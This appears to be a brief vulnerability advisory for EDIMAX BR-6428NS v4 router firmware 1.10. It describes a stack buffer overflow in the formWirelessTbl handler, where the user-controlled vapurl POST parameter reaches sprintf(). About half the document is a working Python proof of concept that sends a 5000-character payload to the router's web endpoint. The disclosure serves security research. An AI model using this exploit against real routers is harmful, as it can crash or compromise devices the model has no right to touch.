BR-6428NS_v4_1.10
The EDIMAX BR-6428NS_v4_1.10 firmware has a stack overflow vulnerability in the formWirelessTbl function. The v3 variable receives the vapurl parameter from a POST request. However, since the user can control the input of vapurl, the statement sprintf() can cause a buffer overflow.
import requests
ip = "192.168.153.2"
payload = "A"*5000
data = {"vapurl": payload}
url = f'http://{ip}/goform/formWirelessTbl'
res = requests.post(url=url, data=data, verify=False)
print(res)
